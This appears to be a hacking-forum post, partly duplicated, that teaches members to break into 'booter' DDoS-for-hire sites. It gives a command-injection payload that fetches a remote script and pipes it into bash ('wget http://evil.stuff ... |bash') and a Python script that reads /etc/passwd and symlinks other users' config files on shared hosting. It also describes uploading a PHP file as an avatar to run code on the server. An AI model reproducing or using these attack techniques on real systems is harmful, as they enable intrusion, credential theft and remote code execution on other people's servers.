DISCLAIMER: I AM NOT RESPONSIBLE FOR ANY HACKING OF BOOTERS DONE BY OTHER MEMBERS.
IF SOMEONE DECIDES TO SPRAY (leak) YOUR BUTTER SAUCE (booter source) ALL OVER THE FORUM, IT'S NOT MY FAULT.
Recently I've noticed a decline in code and hosting quality in many booter sources. In this thread, I'm going to cover some glaring issues I've seen with a lot of booters this past month.
#1. Command injection
Spoiler (Click to View)
This one's really, really deadly. Many sources will take user input without verifying it for fields like POST data or a CSSYN attack and feed it into something like this:
Does anyone else see a problem here? We can supply something like ;wget http://evil.stuff -O- |bash as our data, and the server that is sent this command by ssh2_exec() will of course execute it. In bash, ; and | are meta characters with special meanings. In effect, the command I supplied will run our commands after the attack, downloading an evil script and piping it into bash, which will then, of course, execute said script.
There are a million million million ways to do this, but I've provided a working example for everyone here.
#2. Shared hosting and symlinks
Spoiler (Click to View)
Many a booter will be hosted on cheap, shared hosting nowadays with a host like Ixam Hosting, who have admittedly cleaned up their act recently. These sorts of hosts cost about $2 (less than the booter!) for an account and don't really enforce many security policies at all. The following Python script will create symlinks to booter config files. You can then read these through Apache or if you're lucky, just simply read them. Syntax: python fuckbooters.py configfile.name tag
If you don't know the location of the conf file, you can find it by reading boot.php or send.php from the booter using the same (admittedly already known) trick. :3
#3. Prodigy's old source
Spoiler (Click to View)
This thread from a few months back explains this one well. https://hackforums.net/showthread.php?tid=2737713
A lot of HF members have taken it upon themselves to find even more issues in Prodigy's source, which they kindly posted to the same thread.
#4. The "Custom Source"
Spoiler (Click to View)
Avatar uploads in this source aren't verified at all. You can upload a PHP script as your avatar, then navigate to it. The webserver will happily run it.
If anyone has anything to add, let me know :D
Spoiler (Click to View)
IF SOMEONE DECIDES TO SPRAY (leak) YOUR BUTTER SAUCE (booter source) ALL OVER THE FORUM, IT'S NOT MY FAULT.
Recently I've noticed a decline in code and hosting quality in many booter sources. In this thread, I'm going to cover some glaring issues I've seen with a lot of booters this past month.
#1. Command injection
Spoiler (Click to View)
This one's really, really deadly. Many sources will take user input without verifying it for fields like POST data or a CSSYN attack and feed it into something like this:
PHP Code
<?php
ssh2_exec($attackserver, "screen -dmS ATK-$user ./ddos params and junk $usersupplieddata");
There are a million million million ways to do this, but I've provided a working example for everyone here.
#2. Shared hosting and symlinks
Spoiler (Click to View)
Many a booter will be hosted on cheap, shared hosting nowadays with a host like Ixam Hosting, who have admittedly cleaned up their act recently. These sorts of hosts cost about $2 (less than the booter!) for an account and don't really enforce many security policies at all. The following Python script will create symlinks to booter config files. You can then read these through Apache or if you're lucky, just simply read them. Syntax: python fuckbooters.py configfile.name tag
If you don't know the location of the conf file, you can find it by reading boot.php or send.php from the booter using the same (admittedly already known) trick. :3
PHP Code
<?php
#!/usr/bin/python
import commands, sys
def symlink(thefile, dest):
passwd = commands.getoutput("cat /etc/passwd|cut -d: -f1,6")
for fucker in passwd.split("\n"):
config = "%s/public_html/%s" % (fucker.split(':')[1], thefile)
fucker = fucker.split(':')[0]
cmd = "ln -s %s %s-%s.txt" % (config,fucker,dest)
print cmd
commands.getoutput(cmd)
symlink(sys.argv[1], sys.argv[2])
#3. Prodigy's old source
Spoiler (Click to View)
This thread from a few months back explains this one well. https://hackforums.net/showthread.php?tid=2737713
A lot of HF members have taken it upon themselves to find even more issues in Prodigy's source, which they kindly posted to the same thread.
#4. The "Custom Source"
Spoiler (Click to View)
Avatar uploads in this source aren't verified at all. You can upload a PHP script as your avatar, then navigate to it. The webserver will happily run it.
If anyone has anything to add, let me know :D
Spoiler (Click to View)

